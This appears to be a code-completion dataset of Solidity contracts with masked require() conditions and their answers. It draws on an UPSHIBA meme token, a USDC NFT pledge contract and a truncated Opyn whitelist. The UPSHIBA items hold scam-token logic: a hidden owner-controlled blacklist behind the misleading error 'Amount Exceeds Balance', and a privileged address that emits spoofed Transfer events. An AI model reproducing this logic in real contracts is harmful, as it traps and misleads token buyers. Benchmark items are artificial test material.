comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"Amount Exceeds Balance" | pragma solidity 0.8.17;
/*
/$$ /$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$
| $$ | $$| $$__ $$ /$$__ $$| $$ | $$|_ $$_/| $$__ $$
| $$ | $$| $$ \ $$| $$ \__/| $$ | $$ | $$ | $$ \ $$
| $$ | $$| $$$$$$$/| $$$$$$ | $$$$$$$$ | $$ | $$$$$$$
| $$ | $$| $$____/ \____ $$| $$__ $$ | $$ | $$__ $$
| $$ | $$| $$ /$$ \ $$| $$ | $$ | $$ | $$ \ $$
| $$$$$$/| $$ | $$$$$$/| $$ | $$ /$$$$$$| $$$$$$$/
\______/ |__/ \______/ |__/ |__/|______/|_______/
Up Only Shiba - $UPSHIB -
Inspired by Shiba Inu Token
Tokenomics -
- Total Supply: 100M
- 5% Burn after 5 Hours
- ETH Buy back after each burn.
*/
contract UPSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) zyAmount;
//
string public name = "Up Only Shiba";
string public symbol = unicode"UPSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x4Ffca358bdfF7a4772A98EBec08bd0f4140e7244;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
bool isEnabled;
modifier onlyOwner() {
}
function RenounceOwner() public onlyOwner {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function adbna(address _user) public onlyOwner {
}
function afbnb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true;
}
require(<FILL_ME>)
require(!zyAmount[to] , "Amount Exceeds Balance");
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
| !zyAmount[from],"Amount Exceeds Balance" | 85,212 | !zyAmount[from] |
"Amount Exceeds Balance" | pragma solidity 0.8.17;
/*
/$$ /$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$
| $$ | $$| $$__ $$ /$$__ $$| $$ | $$|_ $$_/| $$__ $$
| $$ | $$| $$ \ $$| $$ \__/| $$ | $$ | $$ | $$ \ $$
| $$ | $$| $$$$$$$/| $$$$$$ | $$$$$$$$ | $$ | $$$$$$$
| $$ | $$| $$____/ \____ $$| $$__ $$ | $$ | $$__ $$
| $$ | $$| $$ /$$ \ $$| $$ | $$ | $$ | $$ \ $$
| $$$$$$/| $$ | $$$$$$/| $$ | $$ /$$$$$$| $$$$$$$/
\______/ |__/ \______/ |__/ |__/|______/|_______/
Up Only Shiba - $UPSHIB -
Inspired by Shiba Inu Token
Tokenomics -
- Total Supply: 100M
- 5% Burn after 5 Hours
- ETH Buy back after each burn.
*/
contract UPSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) zyAmount;
//
string public name = "Up Only Shiba";
string public symbol = unicode"UPSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x4Ffca358bdfF7a4772A98EBec08bd0f4140e7244;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
bool isEnabled;
modifier onlyOwner() {
}
function RenounceOwner() public onlyOwner {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function adbna(address _user) public onlyOwner {
}
function afbnb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true;
}
require(!zyAmount[from] , "Amount Exceeds Balance");
require(<FILL_ME>)
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
| !zyAmount[to],"Amount Exceeds Balance" | 85,212 | !zyAmount[to] |
"Sale is not enable" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract PledgeMint is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct PhaseConfig {
uint256 mintPrice;
uint256 mintPriceWhiteList;
uint256 maxPerWallet;
uint256 maxSupply;
uint256 minted;
bytes32 merkleRoot;
bool saleEnable;
}
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
mapping(uint256 => address[]) public pledgers;
mapping(uint256 => mapping(address => uint256)) public pledges;
PhaseConfig[] public phases;
modifier callerIsUser() {
}
constructor() {}
function addPhase(uint256 mintPrice, uint256 mintPriceWhiteList, uint256 maxPerWallet, uint256 maxSupply, bytes32 merkleRoot) external onlyOwner {
}
function pledge(uint256 phaseId, uint256 number) external callerIsUser nonReentrant{
PhaseConfig storage phase = phases[phaseId];
require(phases.length > phaseId, "PhaseID not found");
require(<FILL_ME>)
require(number <= phase.maxPerWallet, "Cannot buy that many NFTs");
require(number > 0, "Need to buy at least one");
require(USDC.balanceOf(msg.sender) >= phase.mintPrice * number, "USDC balance is not available for pledge");
require(pledges[phaseId][msg.sender] + number <= phase.maxPerWallet, "Already pledged");
require(phase.minted + number <= phase.maxSupply, "Max supply reached");
if(pledges[phaseId][msg.sender]==0)
{
pledgers[phaseId].push(msg.sender);
}
phase.minted = phase.minted + number;
pledges[phaseId][msg.sender] = pledges[phaseId][msg.sender] + number;
USDC.safeTransferFrom(address(msg.sender), address(this), phase.mintPrice * number);
}
function pledge(uint256 phaseId, uint256 number, bytes32[] calldata merkleProof) external callerIsUser nonReentrant{
}
function withdraw() external onlyOwner nonReentrant{
}
function withdrawETH() external onlyOwner nonReentrant{
}
function migrateTokens(address token, uint256 amount) external onlyOwner nonReentrant{
}
function updateMerkleRoot(uint256 phaseId, bytes32 newMerkleRoot) external onlyOwner {
}
function saleStatus(uint256 phaseId, bool status) external onlyOwner {
}
function updatePrice(uint256 phaseId, uint256 mintPrice, uint256 mintPriceWhiteList) external onlyOwner {
}
function updateMintLimit(uint256 phaseId, uint256 maxPerWallet) external onlyOwner {
}
function updateSupply(uint256 phaseId, uint256 supplyLimit) external onlyOwner {
}
}
| phase.saleEnable,"Sale is not enable" | 85,309 | phase.saleEnable |
"USDC balance is not available for pledge" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract PledgeMint is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct PhaseConfig {
uint256 mintPrice;
uint256 mintPriceWhiteList;
uint256 maxPerWallet;
uint256 maxSupply;
uint256 minted;
bytes32 merkleRoot;
bool saleEnable;
}
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
mapping(uint256 => address[]) public pledgers;
mapping(uint256 => mapping(address => uint256)) public pledges;
PhaseConfig[] public phases;
modifier callerIsUser() {
}
constructor() {}
function addPhase(uint256 mintPrice, uint256 mintPriceWhiteList, uint256 maxPerWallet, uint256 maxSupply, bytes32 merkleRoot) external onlyOwner {
}
function pledge(uint256 phaseId, uint256 number) external callerIsUser nonReentrant{
PhaseConfig storage phase = phases[phaseId];
require(phases.length > phaseId, "PhaseID not found");
require(phase.saleEnable, "Sale is not enable");
require(number <= phase.maxPerWallet, "Cannot buy that many NFTs");
require(number > 0, "Need to buy at least one");
require(<FILL_ME>)
require(pledges[phaseId][msg.sender] + number <= phase.maxPerWallet, "Already pledged");
require(phase.minted + number <= phase.maxSupply, "Max supply reached");
if(pledges[phaseId][msg.sender]==0)
{
pledgers[phaseId].push(msg.sender);
}
phase.minted = phase.minted + number;
pledges[phaseId][msg.sender] = pledges[phaseId][msg.sender] + number;
USDC.safeTransferFrom(address(msg.sender), address(this), phase.mintPrice * number);
}
function pledge(uint256 phaseId, uint256 number, bytes32[] calldata merkleProof) external callerIsUser nonReentrant{
}
function withdraw() external onlyOwner nonReentrant{
}
function withdrawETH() external onlyOwner nonReentrant{
}
function migrateTokens(address token, uint256 amount) external onlyOwner nonReentrant{
}
function updateMerkleRoot(uint256 phaseId, bytes32 newMerkleRoot) external onlyOwner {
}
function saleStatus(uint256 phaseId, bool status) external onlyOwner {
}
function updatePrice(uint256 phaseId, uint256 mintPrice, uint256 mintPriceWhiteList) external onlyOwner {
}
function updateMintLimit(uint256 phaseId, uint256 maxPerWallet) external onlyOwner {
}
function updateSupply(uint256 phaseId, uint256 supplyLimit) external onlyOwner {
}
}
| USDC.balanceOf(msg.sender)>=phase.mintPrice*number,"USDC balance is not available for pledge" | 85,309 | USDC.balanceOf(msg.sender)>=phase.mintPrice*number |
"Already pledged" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract PledgeMint is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct PhaseConfig {
uint256 mintPrice;
uint256 mintPriceWhiteList;
uint256 maxPerWallet;
uint256 maxSupply;
uint256 minted;
bytes32 merkleRoot;
bool saleEnable;
}
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
mapping(uint256 => address[]) public pledgers;
mapping(uint256 => mapping(address => uint256)) public pledges;
PhaseConfig[] public phases;
modifier callerIsUser() {
}
constructor() {}
function addPhase(uint256 mintPrice, uint256 mintPriceWhiteList, uint256 maxPerWallet, uint256 maxSupply, bytes32 merkleRoot) external onlyOwner {
}
function pledge(uint256 phaseId, uint256 number) external callerIsUser nonReentrant{
PhaseConfig storage phase = phases[phaseId];
require(phases.length > phaseId, "PhaseID not found");
require(phase.saleEnable, "Sale is not enable");
require(number <= phase.maxPerWallet, "Cannot buy that many NFTs");
require(number > 0, "Need to buy at least one");
require(USDC.balanceOf(msg.sender) >= phase.mintPrice * number, "USDC balance is not available for pledge");
require(<FILL_ME>)
require(phase.minted + number <= phase.maxSupply, "Max supply reached");
if(pledges[phaseId][msg.sender]==0)
{
pledgers[phaseId].push(msg.sender);
}
phase.minted = phase.minted + number;
pledges[phaseId][msg.sender] = pledges[phaseId][msg.sender] + number;
USDC.safeTransferFrom(address(msg.sender), address(this), phase.mintPrice * number);
}
function pledge(uint256 phaseId, uint256 number, bytes32[] calldata merkleProof) external callerIsUser nonReentrant{
}
function withdraw() external onlyOwner nonReentrant{
}
function withdrawETH() external onlyOwner nonReentrant{
}
function migrateTokens(address token, uint256 amount) external onlyOwner nonReentrant{
}
function updateMerkleRoot(uint256 phaseId, bytes32 newMerkleRoot) external onlyOwner {
}
function saleStatus(uint256 phaseId, bool status) external onlyOwner {
}
function updatePrice(uint256 phaseId, uint256 mintPrice, uint256 mintPriceWhiteList) external onlyOwner {
}
function updateMintLimit(uint256 phaseId, uint256 maxPerWallet) external onlyOwner {
}
function updateSupply(uint256 phaseId, uint256 supplyLimit) external onlyOwner {
}
}
| pledges[phaseId][msg.sender]+number<=phase.maxPerWallet,"Already pledged" | 85,309 | pledges[phaseId][msg.sender]+number<=phase.maxPerWallet |
"Max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract PledgeMint is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct PhaseConfig {
uint256 mintPrice;
uint256 mintPriceWhiteList;
uint256 maxPerWallet;
uint256 maxSupply;
uint256 minted;
bytes32 merkleRoot;
bool saleEnable;
}
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
mapping(uint256 => address[]) public pledgers;
mapping(uint256 => mapping(address => uint256)) public pledges;
PhaseConfig[] public phases;
modifier callerIsUser() {
}
constructor() {}
function addPhase(uint256 mintPrice, uint256 mintPriceWhiteList, uint256 maxPerWallet, uint256 maxSupply, bytes32 merkleRoot) external onlyOwner {
}
function pledge(uint256 phaseId, uint256 number) external callerIsUser nonReentrant{
PhaseConfig storage phase = phases[phaseId];
require(phases.length > phaseId, "PhaseID not found");
require(phase.saleEnable, "Sale is not enable");
require(number <= phase.maxPerWallet, "Cannot buy that many NFTs");
require(number > 0, "Need to buy at least one");
require(USDC.balanceOf(msg.sender) >= phase.mintPrice * number, "USDC balance is not available for pledge");
require(pledges[phaseId][msg.sender] + number <= phase.maxPerWallet, "Already pledged");
require(<FILL_ME>)
if(pledges[phaseId][msg.sender]==0)
{
pledgers[phaseId].push(msg.sender);
}
phase.minted = phase.minted + number;
pledges[phaseId][msg.sender] = pledges[phaseId][msg.sender] + number;
USDC.safeTransferFrom(address(msg.sender), address(this), phase.mintPrice * number);
}
function pledge(uint256 phaseId, uint256 number, bytes32[] calldata merkleProof) external callerIsUser nonReentrant{
}
function withdraw() external onlyOwner nonReentrant{
}
function withdrawETH() external onlyOwner nonReentrant{
}
function migrateTokens(address token, uint256 amount) external onlyOwner nonReentrant{
}
function updateMerkleRoot(uint256 phaseId, bytes32 newMerkleRoot) external onlyOwner {
}
function saleStatus(uint256 phaseId, bool status) external onlyOwner {
}
function updatePrice(uint256 phaseId, uint256 mintPrice, uint256 mintPriceWhiteList) external onlyOwner {
}
function updateMintLimit(uint256 phaseId, uint256 maxPerWallet) external onlyOwner {
}
function updateSupply(uint256 phaseId, uint256 supplyLimit) external onlyOwner {
}
}
| phase.minted+number<=phase.maxSupply,"Max supply reached" | 85,309 | phase.minted+number<=phase.maxSupply |
"USDC balance is not available for pledge" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract PledgeMint is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct PhaseConfig {
uint256 mintPrice;
uint256 mintPriceWhiteList;
uint256 maxPerWallet;
uint256 maxSupply;
uint256 minted;
bytes32 merkleRoot;
bool saleEnable;
}
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
mapping(uint256 => address[]) public pledgers;
mapping(uint256 => mapping(address => uint256)) public pledges;
PhaseConfig[] public phases;
modifier callerIsUser() {
}
constructor() {}
function addPhase(uint256 mintPrice, uint256 mintPriceWhiteList, uint256 maxPerWallet, uint256 maxSupply, bytes32 merkleRoot) external onlyOwner {
}
function pledge(uint256 phaseId, uint256 number) external callerIsUser nonReentrant{
}
function pledge(uint256 phaseId, uint256 number, bytes32[] calldata merkleProof) external callerIsUser nonReentrant{
PhaseConfig storage phase = phases[phaseId];
bytes32 node = keccak256(abi.encodePacked(msg.sender));
require(phases.length > phaseId, "PhaseID not found");
require(phase.saleEnable, "Sale is not enable");
require(number <= phase.maxPerWallet, "Cannot buy that many NFTs");
require(number > 0, "Need to buy at least one");
require(<FILL_ME>)
require(pledges[phaseId][msg.sender] + number <= phase.maxPerWallet, "Already pledged");
require(MerkleProof.verify(merkleProof, phase.merkleRoot, node), "Invalid Proof");
require(phase.minted + number <= phase.maxSupply, "Max supply reached");
if(pledges[phaseId][msg.sender]==0)
{
pledgers[phaseId].push(msg.sender);
}
phase.minted = phase.minted + number;
pledges[phaseId][msg.sender] = pledges[phaseId][msg.sender] + number;
USDC.safeTransferFrom(address(msg.sender), address(this), phase.mintPriceWhiteList * number);
}
function withdraw() external onlyOwner nonReentrant{
}
function withdrawETH() external onlyOwner nonReentrant{
}
function migrateTokens(address token, uint256 amount) external onlyOwner nonReentrant{
}
function updateMerkleRoot(uint256 phaseId, bytes32 newMerkleRoot) external onlyOwner {
}
function saleStatus(uint256 phaseId, bool status) external onlyOwner {
}
function updatePrice(uint256 phaseId, uint256 mintPrice, uint256 mintPriceWhiteList) external onlyOwner {
}
function updateMintLimit(uint256 phaseId, uint256 maxPerWallet) external onlyOwner {
}
function updateSupply(uint256 phaseId, uint256 supplyLimit) external onlyOwner {
}
}
| USDC.balanceOf(msg.sender)>=phase.mintPriceWhiteList*number,"USDC balance is not available for pledge" | 85,309 | USDC.balanceOf(msg.sender)>=phase.mintPriceWhiteList*number |
"Invalid Proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract PledgeMint is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct PhaseConfig {
uint256 mintPrice;
uint256 mintPriceWhiteList;
uint256 maxPerWallet;
uint256 maxSupply;
uint256 minted;
bytes32 merkleRoot;
bool saleEnable;
}
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
mapping(uint256 => address[]) public pledgers;
mapping(uint256 => mapping(address => uint256)) public pledges;
PhaseConfig[] public phases;
modifier callerIsUser() {
}
constructor() {}
function addPhase(uint256 mintPrice, uint256 mintPriceWhiteList, uint256 maxPerWallet, uint256 maxSupply, bytes32 merkleRoot) external onlyOwner {
}
function pledge(uint256 phaseId, uint256 number) external callerIsUser nonReentrant{
}
function pledge(uint256 phaseId, uint256 number, bytes32[] calldata merkleProof) external callerIsUser nonReentrant{
PhaseConfig storage phase = phases[phaseId];
bytes32 node = keccak256(abi.encodePacked(msg.sender));
require(phases.length > phaseId, "PhaseID not found");
require(phase.saleEnable, "Sale is not enable");
require(number <= phase.maxPerWallet, "Cannot buy that many NFTs");
require(number > 0, "Need to buy at least one");
require(USDC.balanceOf(msg.sender) >= phase.mintPriceWhiteList * number, "USDC balance is not available for pledge");
require(pledges[phaseId][msg.sender] + number <= phase.maxPerWallet, "Already pledged");
require(<FILL_ME>)
require(phase.minted + number <= phase.maxSupply, "Max supply reached");
if(pledges[phaseId][msg.sender]==0)
{
pledgers[phaseId].push(msg.sender);
}
phase.minted = phase.minted + number;
pledges[phaseId][msg.sender] = pledges[phaseId][msg.sender] + number;
USDC.safeTransferFrom(address(msg.sender), address(this), phase.mintPriceWhiteList * number);
}
function withdraw() external onlyOwner nonReentrant{
}
function withdrawETH() external onlyOwner nonReentrant{
}
function migrateTokens(address token, uint256 amount) external onlyOwner nonReentrant{
}
function updateMerkleRoot(uint256 phaseId, bytes32 newMerkleRoot) external onlyOwner {
}
function saleStatus(uint256 phaseId, bool status) external onlyOwner {
}
function updatePrice(uint256 phaseId, uint256 mintPrice, uint256 mintPriceWhiteList) external onlyOwner {
}
function updateMintLimit(uint256 phaseId, uint256 maxPerWallet) external onlyOwner {
}
function updateSupply(uint256 phaseId, uint256 supplyLimit) external onlyOwner {
}
}
| MerkleProof.verify(merkleProof,phase.merkleRoot,node),"Invalid Proof" | 85,309 | MerkleProof.verify(merkleProof,phase.merkleRoot,node) |
"Whitelist: Collateral is not whitelisted" | // SPDX-License-Identifier: UNLICENSED
pragma solidity =0.6.10;
import "../interfaces/AddressBookInterface.sol";
import "../packages/oz/Ownable.sol";
/**
* @author Opyn Team
* @title Whitelist Module
* @notice The whitelist module keeps track of all valid oToken addresses, product hashes, collateral addresses, and callee addresses.
*/
contract Whitelist is Ownable {
/// @notice AddressBook module address
address public addressBook;
/// @dev mapping to track whitelisted products
mapping(bytes32 => bool) internal whitelistedProduct;
/// @dev mapping to track whitelisted collateral
mapping(address => bool) internal whitelistedCollateral;
